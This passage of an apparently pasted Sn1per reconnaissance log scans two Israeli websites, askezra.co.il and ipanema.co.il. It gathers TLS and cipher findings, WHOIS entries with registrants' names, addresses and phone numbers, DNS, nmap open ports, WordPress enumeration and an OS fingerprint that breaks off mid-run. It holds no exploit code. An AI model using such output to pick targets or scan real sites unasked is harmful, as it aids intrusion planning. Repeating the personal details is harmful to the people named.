  1375. Accepted TLSv1.0 128 bits CAMELLIA128-SHA
  1376.  
  1377. SSL Certificate:
  1378. Signature Algorithm: sha256WithRSAEncryption
  1379. RSA Key Strength: 4096
  1380.  
  1381. Subject: *.spd.co.il
  1382. Altnames: DNS:*.spd.co.il, DNS:spd.co.il
  1383. Issuer: RapidSSL SHA256 CA - G2
  1384.  
  1385. Not valid before: Jul 4 00:00:00 2016 GMT
  1386. Not valid after: Jul 4 23:59:59 2019 GMT
  1387. 
  1388. ###########################################################
  1389. testssl 2.9dev from https://testssl.sh/dev/
  1390. 
  1391. This program is free software. Distribution and
  1392. modification under GPLv2 permitted.
  1393. USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
  1394.  
  1395. Please file bugs @ https://testssl.sh/bugs/
  1396. 
  1397. ###########################################################
  1398.  
  1399. Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
  1400. on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
  1401. (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")
  1402.  
  1403.  
  1404.  Start 2017-12-16 14:54:38 -->> 62.128.52.211:443 (askezra.co.il) <<--
  1405.  
  1406. rDNS (62.128.52.211): rosh.spd.co.il.
  1407. Service detected: HTTP
  1408.  
  1409.  
  1410.  Testing protocols via sockets except SPDY+HTTP2 
  1411.  
  1412.  SSLv2 not offered (OK)
  1413.  SSLv3 not offered (OK)
  1414.  TLS 1 offered
  1415.  TLS 1.1 offered
  1416.  TLS 1.2 offered (OK)
  1417.  TLS 1.3 not offered
  1418.  SPDY/NPN h2, http/1.1 (advertised)
  1419.  HTTP2/ALPN h2, http/1.1 (offered)
  1420.  
  1421.  Testing ~standard cipher categories 
  1422.  
  1423.  NULL ciphers (no encryption) not offered (OK)
  1424.  Anonymous NULL Ciphers (no authentication) not offered (OK)
  1425.  Export ciphers (w/o ADH+NULL) not offered (OK)
  1426.  LOW: 64 Bit + DES encryption (w/o export) not offered (OK)
  1427.  Weak 128 Bit ciphers (SEED, IDEA, RC[2,4]) not offered (OK)
  1428.  Triple DES Ciphers (Medium) not offered (OK)
  1429.  High encryption (AES+Camellia, no AEAD) offered (OK)
  1430.  Strong encryption (AEAD ciphers) offered (OK)
  1431.  
  1432.  
  1433.  Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 
  1434.  
  1435.  PFS is offered (OK) ECDHE-RSA-AES256-GCM-SHA384
  1436. ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA
  1437. DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-CCM8
  1438. DHE-RSA-AES256-CCM DHE-RSA-AES256-SHA256
  1439. DHE-RSA-AES256-SHA ECDHE-RSA-CAMELLIA256-SHA384
  1440. DHE-RSA-CAMELLIA256-SHA256
  1441. DHE-RSA-CAMELLIA256-SHA
  1442. ECDHE-RSA-AES128-GCM-SHA256
  1443. ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
  1444. DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-CCM8
  1445. DHE-RSA-AES128-CCM DHE-RSA-AES128-SHA256
  1446. DHE-RSA-AES128-SHA ECDHE-RSA-CAMELLIA128-SHA256
  1447. DHE-RSA-CAMELLIA128-SHA256
  1448. DHE-RSA-CAMELLIA128-SHA
  1449.  Elliptic curves offered: prime256v1 secp384r1 secp521r1 X25519
  1450.  
  1451.  
  1452.  Testing server preferences 
  1453.  
  1454.  Has server cipher order? yes (OK)
  1455.  Negotiated protocol TLSv1.2
  1456.  Negotiated cipher ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1457.  Cipher order
  1458. TLSv1: ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA
  1459. DHE-RSA-AES256-SHA AES128-SHA AES256-SHA DHE-RSA-CAMELLIA256-SHA
  1460. DHE-RSA-CAMELLIA128-SHA CAMELLIA256-SHA CAMELLIA128-SHA
  1461. TLSv1.1: ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA
  1462. DHE-RSA-AES256-SHA AES128-SHA AES256-SHA DHE-RSA-CAMELLIA256-SHA
  1463. DHE-RSA-CAMELLIA128-SHA CAMELLIA256-SHA CAMELLIA128-SHA
  1464. TLSv1.2: ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384
  1465. DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM-SHA384
  1466. ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
  1467. ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA
  1468. DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA256
  1469. DHE-RSA-AES256-SHA AES128-GCM-SHA256 AES256-GCM-SHA384
  1470. AES128-SHA256 AES256-SHA256 AES128-SHA AES256-SHA
  1471. DHE-RSA-AES256-CCM8 DHE-RSA-AES256-CCM DHE-RSA-AES128-CCM8
  1472. DHE-RSA-AES128-CCM AES256-CCM8 AES256-CCM AES128-CCM8 AES128-CCM
  1473. ECDHE-RSA-CAMELLIA256-SHA384 DHE-RSA-CAMELLIA256-SHA256
  1474. ECDHE-RSA-CAMELLIA128-SHA256 DHE-RSA-CAMELLIA128-SHA256
  1475. DHE-RSA-CAMELLIA256-SHA DHE-RSA-CAMELLIA128-SHA
  1476. CAMELLIA256-SHA256 CAMELLIA128-SHA256 CAMELLIA256-SHA
  1477. CAMELLIA128-SHA
  1478.  
  1479.  
  1480.  Testing server defaults (Server Hello) 
  1481.  
  1482.  TLS extensions (standard) "renegotiation info/#65281" "server name/#0"
  1483. "EC point formats/#11" "session ticket/#35"
  1484. "next protocol/#13172" "encrypt-then-mac/#22"
  1485. "extended master secret/#23"
  1486. "application layer protocol negotiation/#16"
  1487.  Session Ticket RFC 5077 hint 300 seconds, session tickets keys seems to be rotated < daily
  1488.  SSL Session ID support yes
  1489.  Session Resumption Tickets: yes, ID: yes
  1490.  TLS clock skew Random values, no fingerprinting possible
  1491.  Signature Algorithm SHA256 with RSA
  1492.  Server key size RSA 4096 bits
  1493.  Fingerprint / Serial SHA1 06E4539A1F048BB207D5538EA099E56D0044BB51 / 2A0FF6BFE1C614B2F20E230E0A1803A9
  1494. SHA256 8442AD6BDF1A497ACA110FBD39AA14B30A6A7772614DAB672421D2B2227B439A
  1495.  Common Name (CN) *.spd.co.il
  1496.  subjectAltName (SAN) *.spd.co.il spd.co.il 
  1497.  Issuer RapidSSL SHA256 CA - G2 (GeoTrust Inc. from US)
  1498.  Trust (hostname) certificate does not match supplied URI (same w/o SNI)
  1499.  Chain of trust NOT ok (chain incomplete)
  1500.  EV cert (experimental) no
  1501.  Certificate Expiration 565 >= 60 days (2016-07-03 20:00 --> 2019-07-04 19:59 -0400)
  1502.  # of certificates provided 7
  1503.  Certificate Revocation List http://gs.symcb.com/gs.crl
  1504.  OCSP URI http://gs.symcd.com
  1505.  OCSP stapling not offered
  1506.  OCSP must staple no
  1507.  DNS CAA RR (experimental) not offered
  1508.  Certificate Transparency yes (certificate extension)
  1509.  
  1510.  
  1511.  Testing HTTP header response @ "/" 
  1512.  
  1513.  HTTP Status Code  307 Temporary Redirect, redirecting to "https://askezra.co.il/"
  1514.  HTTP clock skew -1 sec from localtime
  1515.  Strict Transport Security --
  1516.  Public Key Pinning --
  1517.  Server banner nginx
  1518.  Application banner --
  1519.  Cookie(s) 1 issued: NOT secure, NOT HttpOnly -- HTTP status 307 signals you maybe missed the web application
  1520.  Security headers --
  1521.  Reverse Proxy banner --
  1522.  
  1523.  
  1524.  Testing vulnerabilities 
  1525.  
  1526.  Heartbleed (CVE-2014-0160) not vulnerable (OK), no heartbeat extension
  1527.  CCS (CVE-2014-0224) not vulnerable (OK)
  1528.  Ticketbleed (CVE-2016-9244), experiment. not vulnerable (OK)
  1529.  ROBOT not vulnerable (OK)
  1530.  Secure Renegotiation (CVE-2009-3555) not vulnerable (OK)
  1531.  Secure Client-Initiated Renegotiation not vulnerable (OK)
  1532.  CRIME, TLS (CVE-2012-4929) not vulnerable (OK)
  1533.  BREACH (CVE-2013-3587) no HTTP compression (OK)  - only supplied "/" tested
  1534.  POODLE, SSL (CVE-2014-3566) not vulnerable (OK)
  1535.  TLS_FALLBACK_SCSV (RFC 7507) Downgrade attack prevention supported (OK)
  1536.  SWEET32 (CVE-2016-2183, CVE-2016-6329) not vulnerable (OK)
  1537.  FREAK (CVE-2015-0204) not vulnerable (OK)
  1538.  DROWN (CVE-2016-0800, CVE-2016-0703) not vulnerable on this host and port (OK)
  1539. make sure you don't use this certificate elsewhere with SSLv2 enabled services
  1540. https://censys.io/ipv4?q=8442AD6BDF1A497ACA110FBD39AA14B30A6A7772614DAB672421D2B2227B439A could help you to find out
  1541.  LOGJAM (CVE-2015-4000), experimental not vulnerable (OK): no DH EXPORT ciphers, no common primes detected
  1542.  BEAST (CVE-2011-3389) TLS1: ECDHE-RSA-AES128-SHA
  1543. ECDHE-RSA-AES256-SHA
  1544. DHE-RSA-AES128-SHA
  1545. DHE-RSA-AES256-SHA AES128-SHA
  1546. AES256-SHA
  1547. DHE-RSA-CAMELLIA256-SHA
  1548. DHE-RSA-CAMELLIA128-SHA
  1549. CAMELLIA256-SHA
  1550. CAMELLIA128-SHA 
  1551. VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
  1552.  LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
  1553.  RC4 (CVE-2013-2566, CVE-2015-2808) no RC4 ciphers detected (OK)
  1554.  
  1555.  
  1556.  Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 
  1557.  
  1558. Hexcode Cipher Suite Name (OpenSSL) KeyExch. Encryption Bits Cipher Suite Name (RFC)
  1559. -----------------------------------------------------------------------------------------------------------------------------
  1560. xc030 ECDHE-RSA-AES256-GCM-SHA384 ECDH 256 AESGCM 256 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
  1561. xc028 ECDHE-RSA-AES256-SHA384 ECDH 256 AES 256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
  1562. xc014 ECDHE-RSA-AES256-SHA ECDH 256 AES 256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
  1563. x9f DHE-RSA-AES256-GCM-SHA384 DH 2048 AESGCM 256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
  1564. xc0a3 DHE-RSA-AES256-CCM8 DH 2048 AESCCM8 256 TLS_DHE_RSA_WITH_AES_256_CCM_8
  1565. xc09f DHE-RSA-AES256-CCM DH 2048 AESCCM 256 TLS_DHE_RSA_WITH_AES_256_CCM
  1566. x6b DHE-RSA-AES256-SHA256 DH 2048 AES 256 TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
  1567. x39 DHE-RSA-AES256-SHA DH 2048 AES 256 TLS_DHE_RSA_WITH_AES_256_CBC_SHA
  1568. xc077 ECDHE-RSA-CAMELLIA256-SHA384 ECDH 256 Camellia 256 TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384
  1569. xc4 DHE-RSA-CAMELLIA256-SHA256 DH 2048 Camellia 256 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256
  1570. x88 DHE-RSA-CAMELLIA256-SHA DH 2048 Camellia 256 TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
  1571. x9d AES256-GCM-SHA384 RSA AESGCM 256 TLS_RSA_WITH_AES_256_GCM_SHA384
  1572. xc0a1 AES256-CCM8 RSA AESCCM8 256 TLS_RSA_WITH_AES_256_CCM_8
  1573. xc09d AES256-CCM RSA AESCCM 256 TLS_RSA_WITH_AES_256_CCM
  1574. x3d AES256-SHA256 RSA AES 256 TLS_RSA_WITH_AES_256_CBC_SHA256
  1575. x35 AES256-SHA RSA AES 256 TLS_RSA_WITH_AES_256_CBC_SHA
  1576. xc0 CAMELLIA256-SHA256 RSA Camellia 256 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256
  1577. x84 CAMELLIA256-SHA RSA Camellia 256 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
  1578. xc02f ECDHE-RSA-AES128-GCM-SHA256 ECDH 256 AESGCM 128 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
  1579. xc027 ECDHE-RSA-AES128-SHA256 ECDH 256 AES 128 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
  1580. xc013 ECDHE-RSA-AES128-SHA ECDH 256 AES 128 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
  1581. x9e DHE-RSA-AES128-GCM-SHA256 DH 2048 AESGCM 128 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
  1582. xc0a2 DHE-RSA-AES128-CCM8 DH 2048 AESCCM8 128 TLS_DHE_RSA_WITH_AES_128_CCM_8
  1583. xc09e DHE-RSA-AES128-CCM DH 2048 AESCCM 128 TLS_DHE_RSA_WITH_AES_128_CCM
  1584. xc0a0 AES128-CCM8 RSA AESCCM8 128 TLS_RSA_WITH_AES_128_CCM_8
  1585. xc09c AES128-CCM RSA AESCCM 128 TLS_RSA_WITH_AES_128_CCM
  1586. x67 DHE-RSA-AES128-SHA256 DH 2048 AES 128 TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
  1587. x33 DHE-RSA-AES128-SHA DH 2048 AES 128 TLS_DHE_RSA_WITH_AES_128_CBC_SHA
  1588. xc076 ECDHE-RSA-CAMELLIA128-SHA256 ECDH 256 Camellia 128 TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
  1589. xbe DHE-RSA-CAMELLIA128-SHA256 DH 2048 Camellia 128 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256
  1590. x45 DHE-RSA-CAMELLIA128-SHA DH 2048 Camellia 128 TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
  1591. x9c AES128-GCM-SHA256 RSA AESGCM 128 TLS_RSA_WITH_AES_128_GCM_SHA256
  1592. x3c AES128-SHA256 RSA AES 128 TLS_RSA_WITH_AES_128_CBC_SHA256
  1593. x2f AES128-SHA RSA AES 128 TLS_RSA_WITH_AES_128_CBC_SHA
  1594. xba CAMELLIA128-SHA256 RSA Camellia 128 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256
  1595. x41 CAMELLIA128-SHA RSA Camellia 128 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
  1596.  
  1597.  
  1598.  Running client simulations via sockets 
  1599.  
  1600. Android 2.3.7 TLSv1.0 DHE-RSA-AES128-SHA, 2048 bit DH
  1601. Android 4.1.1 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1602. Android 4.3 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1603. Android 4.4.2 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1604. Android 5.0.0 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1605. Android 6.0 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1606. Android 7.0 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
  1607. Chrome 51 Win 7 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
  1608. Chrome 57 Win 7 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
  1609. Firefox 49 Win 7 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1610. Firefox 53 Win 7 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 253 bit ECDH (X25519)
  1611. IE 6 XP No connection
  1612. IE 7 Vista TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1613. IE 8 XP No connection
  1614. IE 8 Win 7 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1615. IE 11 Win 7 TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
  1616. IE 11 Win 8.1 TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
  1617. IE 11 Win Phone 8.1 Update TLSv1.2 DHE-RSA-AES128-GCM-SHA256, 2048 bit DH
  1618. IE 11 Win 10 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1619. Edge 13 Win 10 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1620. Edge 13 Win Phone 10 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1621. Opera 17 Win 7 TLSv1.2 ECDHE-RSA-AES128-SHA256, 256 bit ECDH (P-256)
  1622. Safari 5.1.9 OS X 10.6.8 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1623. Safari 7 iOS 7.1 TLSv1.2 ECDHE-RSA-AES128-SHA256, 256 bit ECDH (P-256)
  1624. Safari 9 OS X 10.11 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1625. Safari 10 OS X 10.12 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1626. Apple ATS 9 iOS 9 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1627. Tor 17.0.9 Win 7 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1628. Java 6u45 No connection
  1629. Java 7u25 TLSv1.0 ECDHE-RSA-AES128-SHA, 256 bit ECDH (P-256)
  1630. Java 8u31 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1631. OpenSSL 1.0.1l TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1632. OpenSSL 1.0.2e TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256, 256 bit ECDH (P-256)
  1633.  
  1634.  Done 2017-12-16 15:03:33 [ 547s] -->> 62.128.52.211:443 (askezra.co.il) <<--
  1635. #######################################################################################################################################
  1636. Nom de l'hôte ipanema.co.il FAI 012 Smile Communications LTD. (AS9116)
  1637. Continent Asie Drapeau
  1638. IL
  1639. Pays Israël Code du pays IL (ISR)
  1640. Région 06 Heure locale 16 Dec 2017 22:33 IST
  1641. Ville Bet Shemesh Latitude 31.75
  1642. Adresse IP 212.199.178.28 Longitude 34.989
  1643. #######################################################################################################################################
  1644. i] Scanning Site: https://ipanema.co.il
  1645.  
  1646.  
  1647.  
  1648. B A S I C I N F O
  1649. ====================
  1650.  
  1651.  
  1652. [+] Site Title: איפנימה אתר המותגים הברזילאיים
  1653. [+] IP address: 212.199.178.28
  1654. [+] Web Server: Apache/2
  1655. [+] CMS: WordPress
  1656. [+] Cloudflare: Not Detected
  1657. [+] Robots File: Found
  1658.  
  1659. -------------[ contents ]----------------
  1660. User-agent: Yandex
  1661.  
  1662. Disallow: /wp-admin
  1663.  
  1664. Disallow: /wp-includes
  1665.  
  1666. Disallow: /wp-login.php
  1667.  
  1668. Disallow: /wp-register.php
  1669.  
  1670. Disallow: /wp-content/themes
  1671.  
  1672. Disallow: /wp-content/plugins
  1673.  
  1674. Disallow: /wp-content/upgrade
  1675.  
  1676. Disallow: /wp-content/themes_backup
  1677.  
  1678. Disallow: /wp-comments
  1679.  
  1680. Disallow: /cgi-bin
  1681.  
  1682. Disallow: /testApp
  1683.  
  1684. Disallow: *?s=
  1685.  
  1686. Host: ipanema.co.il
  1687.  
  1688.  
  1689.  
  1690. User-agent: *
  1691.  
  1692. Disallow: /wp-admin
  1693.  
  1694. Disallow: /wp-includes
  1695.  
  1696. Disallow: /wp-login.php
  1697.  
  1698. Disallow: /wp-register.php
  1699.  
  1700. Disallow: /wp-content/themes
  1701.  
  1702. Disallow: /wp-content/plugins
  1703.  
  1704. Disallow: /wp-content/upgrade
  1705.  
  1706. Disallow: /wp-content/themes_backup
  1707.  
  1708. Disallow: /wp-comments
  1709.  
  1710. Disallow: /cgi-bin
  1711.  
  1712. Disallow: *?s=
  1713. -----------[end of contents]-------------
  1714.  
  1715.  
  1716.  
  1717. W H O I S L O O K U P
  1718. ========================
  1719.  
  1720.  
  1721. % The data in the WHOIS database of the .il registry is provided
  1722. % by ISOC-IL for information purposes, and to assist persons in
  1723. % obtaining information about or related to a domain name
  1724. % registration record. ISOC-IL does not guarantee its accuracy.
  1725. % By submitting a WHOIS query, you agree that you will use this
  1726. % Data only for lawful purposes and that, under no circumstances
  1727. % will you use this Data to: (1) allow, enable, or otherwise
  1728. % support the transmission of mass unsolicited, commercial
  1729. % advertising or solicitations via e-mail (spam);
  1730. % or (2) enable high volume, automated, electronic processes that
  1731. % apply to ISOC-IL (or its systems).
  1732. % ISOC-IL reserves the right to modify these terms at any time.
  1733. % By submitting this query, you agree to abide by this policy.
  1734.  
  1735. query: ipanema.co.il
  1736.  
  1737. reg-name: ipanema
  1738. domain: ipanema.co.il
  1739.  
  1740. descr: elbaz jonney
  1741. descr: yehuda marguza 38
  1742. descr: yaffo
  1743. descr: 74011
  1744. descr: Israel
  1745. phone: +972 3 6838019
  1746. e-mail: ipanema AT bizinfo.co.il
  1747. admin-c: LD-AS24500-IL
  1748. tech-c: LD-AS24500-IL
  1749. zone-c: LD-AS24500-IL
  1750. nserver: park1.livedns.co.il
  1751. nserver: park2.livedns.co.il
  1752. validity: 03-03-2019
  1753. DNSSEC: unsigned
  1754. status: Transfer Locked
  1755. changed: domain-registrar AT isoc.org.il 20080303 (Assigned)
  1756. changed: domain-registrar AT isoc.org.il 20080518 (Changed)
  1757. changed: domain-registrar AT isoc.org.il 20090311 (Changed)
  1758. changed: domain-registrar AT isoc.org.il 20141215 (Changed)
  1759.  
  1760. person: Asaf Shatzman
  1761. address: hasita 7
  1762. address: ofarim
  1763. address: 71948
  1764. address: Israel
  1765. phone: +972 54 6571571
  1766. e-mail: asaf AT lantronics.co.il
  1767. nic-hdl: LD-AS24500-IL
  1768. changed: domain-registrar AT isoc.org.il 20120424
  1769. changed: Managing Registrar 20130814
  1770.  
  1771. registrar name: LiveDns Ltd
  1772. registrar info: http://domains.livedns.co.il
  1773.  
  1774. % Rights to the data above are restricted by copyright.
  1775.  
  1776.  
  1777.  
  1778.  
  1779. G E O I P L O O K U P
  1780. =========================
  1781.  
  1782. [i] IP Address: 212.199.178.28
  1783. [i] Country: IL
  1784. [i] State: Yerushalayim
  1785. [i] City: Bet Shemesh
  1786. [i] Latitude: 31.749599
  1787. [i] Longitude: 34.988800
  1788.  
  1789.  
  1790.  
  1791.  
  1792. H T T P H E A D E R S
  1793. =======================
  1794.  
  1795.  
  1796. [i] HTTP/1.1 200 OK
  1797. [i] Date: Sat, 16 Dec 2017 20:43:05 GMT
  1798. [i] Server: Apache/2
  1799. [i] Vary: Accept-Encoding,User-Agent
  1800. [i] Cache-Control: max-age=0
  1801. [i] Expires: Sat, 16 Dec 2017 20:43:05 GMT
  1802. [i] Connection: close
  1803. [i] Content-Type: text/html; charset=UTF-8
  1804.  
  1805.  
  1806.  
  1807.  
  1808. D N S L O O K U P
  1809. ===================
  1810.  
  1811. ipanema.co.il. 14399 IN SOA park1.livedns.co.il. hostmaster.ipanema.co.il. 2014121503 3600 600 1209600 14400
  1812. ipanema.co.il. 14399 IN NS park2.livedns.co.il.
  1813. ipanema.co.il. 14399 IN NS park1.livedns.co.il.
  1814. ipanema.co.il. 1799 IN A 212.199.178.28
  1815.  
  1816.  
  1817.  
  1818.  
  1819. S U B N E T C A L C U L A T I O N
  1820. ====================================
  1821.  
  1822. Address = 212.199.178.28
  1823. Network = 212.199.178.28 / 32
  1824. Netmask = 255.255.255.255
  1825. Broadcast = not needed on Point-to-Point links
  1826. Wildcard Mask = 0.0.0.0
  1827. Hosts Bits = 0
  1828. Max. Hosts = 1 (2^0 - 0)
  1829. Host Range = { 212.199.178.28 - 212.199.178.28 }
  1830.  
  1831.  
  1832.  
  1833. N M A P P O R T S C A N
  1834. ============================
  1835.  
  1836.  
  1837. Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-16 20:43 UTC
  1838. Nmap scan report for ipanema.co.il (212.199.178.28)
  1839. Host is up (0.16s latency).
  1840. rDNS record for 212.199.178.28: 212.199.178.28.static.012.net.il
  1841. PORT STATE SERVICE VERSION
  1842. 21/tcp open ftp Pure-FTPd
  1843. 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
  1844. 23/tcp filtered telnet
  1845. 25/tcp open smtp Exim smtpd 4.88
  1846. 80/tcp open http?
  1847. 110/tcp open pop3 Dovecot DirectAdmin pop3d
  1848. 143/tcp open imap Dovecot imapd
  1849. 443/tcp open ssl/https?
  1850. 445/tcp filtered microsoft-ds
  1851. 3389/tcp filtered ms-wbt-server
  1852.  
  1853. [!] IP Address : 212.199.178.28
  1854. [!] Server: Apache/2
  1855. [-] Clickjacking protection is not in place.
  1856. [!] CMS Detected : WordPress
  1857. [i] The remote host tried to redirect to: https://ipanema.co.il/
  1858. [?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]N
  1859. [+] URL: http://ipanema.co.il/
  1860. [+] Started: Sat Dec 16 15:41:26 2017
  1861.  
  1862. [+] Interesting header: SERVER: Apache/2
  1863. [+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
  1864. [+] XML-RPC Interface available under: http://ipanema.co.il/xmlrpc.php
  1865.  
  1866. [i] WordPress version can not be detected
  1867.  
  1868. [+] WordPress theme in use: theme477922
  1869.  
  1870. [+] Name: theme477922
  1871. | Location: http://ipanema.co.il/wp-content/themes/theme477922/
  1872. | Style URL: http://ipanema.co.il/wp-content/themes/theme477922/style.css
  1873. | Referenced style.css: https://ipanema.co.il/wp-content/themes/theme477922/style.css
  1874.  
  1875. [+] Enumerating plugins from passive detection ...
  1876. [+] No plugins found
  1877.  
  1878. [+] Finished: Sat Dec 16 15:44:37 2017
  1879. [+] Requests Done: 355
  1880. [+] Memory used: 14.008 MB
  1881. [+] Elapsed time: 00:03:11
  1882. [+] Honeypot Probabilty: 30%
  1883. ----------------------------------------
  1884. PORT STATE SERVICE VERSION
  1885. 21/tcp open ftp Pure-FTPd
  1886. 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
  1887. 23/tcp filtered telnet
  1888. 25/tcp open smtp Exim smtpd 4.88
  1889. 80/tcp open http?
  1890. 110/tcp open pop3 Dovecot DirectAdmin pop3d
  1891. 143/tcp open imap Dovecot imapd
  1892. 443/tcp open ssl/https?
  1893. 445/tcp filtered microsoft-ds
  1894. 3389/tcp filtered ms-wbt-server
  1895.  
  1896.  
  1897. [+] DNS Records
  1898. park1.livedns.co.il. (62.219.78.217) AS8551 Bezeq International Israel
  1899. park2.livedns.co.il. (185.60.169.2) AS201857 LiveDns Ltd Israel
  1900.  
  1901. [+] Host Records (A)
  1902. www.ipanema.co.ilHTTP: (212.199.178.28.static.012.net.il) (212.199.178.282) AS9116 012 Smile Communications LTD. Israel
  1903.  
  1904. [+] TXT Records
  1905.  
  1906. [+] DNS Map: https://dnsdumpster.com/static/map/ipanema.co.il.png
  1907.  
  1908. [>] Initiating 3 intel modules
  1909. [>] Loading Alpha module (1/3)
  1910. [>] Beta module deployed (2/3)
  1911. [>] Gamma module initiated (3/3)
  1912. No emails found
  1913.  
  1914. [+] Hosts found in search engines:
  1915. ------------------------------------
  1916. [-] Resolving hostnames IPs...
  1917. 212.199.178.28:www.ipanema.co.il
  1918. [+] Virtual hosts:
  1919. -----------------
  1920.  + -- ----------------------------=[Running Nslookup]=------------------------ -- +
  1921. Server: 2001:568:ff09:10c::53
  1922. Address: 2001:568:ff09:10c::53#53
  1923.  
  1924. Non-authoritative answer:
  1925. Name: ipanema.co.il
  1926. Address: 212.199.178.28
  1927.  
  1928. ipanema.co.il has address 212.199.178.28
  1929.  + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +
  1930.  
  1931. Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu
  1932.  
  1933. [+] Target is ipanema.co.il
  1934. [+] Loading modules.
  1935. [+] Following modules are loaded:
  1936. [x] [1] ping:icmp_ping - ICMP echo discovery module
  1937. [x] [2] ping:tcp_ping - TCP-based ping discovery module
  1938. [x] [3] ping:udp_ping - UDP-based ping discovery module
  1939. [x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation
  1940. [x] [5] infogather:portscan - TCP and UDP PortScanner
  1941. [x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module
  1942. [x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module
  1943. [x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module
  1944. [x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module
  1945. [x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module
  1946. [x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module
  1947. [x] [12] fingerprint:smb - SMB fingerprinting module
  1948. [x] [13] fingerprint:snmp - SNMPv2c fingerprinting module
  1949. [+] 13 modules registered
  1950. [+] Initializing scan engine
  1951. [+] Running scan engine
  1952. [-] ping:tcp_ping module: no closed/open TCP ports known on 212.199.178.28. Module test failed
  1953. [-] ping:udp_ping module: no closed/open UDP ports known on 212.199.178.28. Module test failed
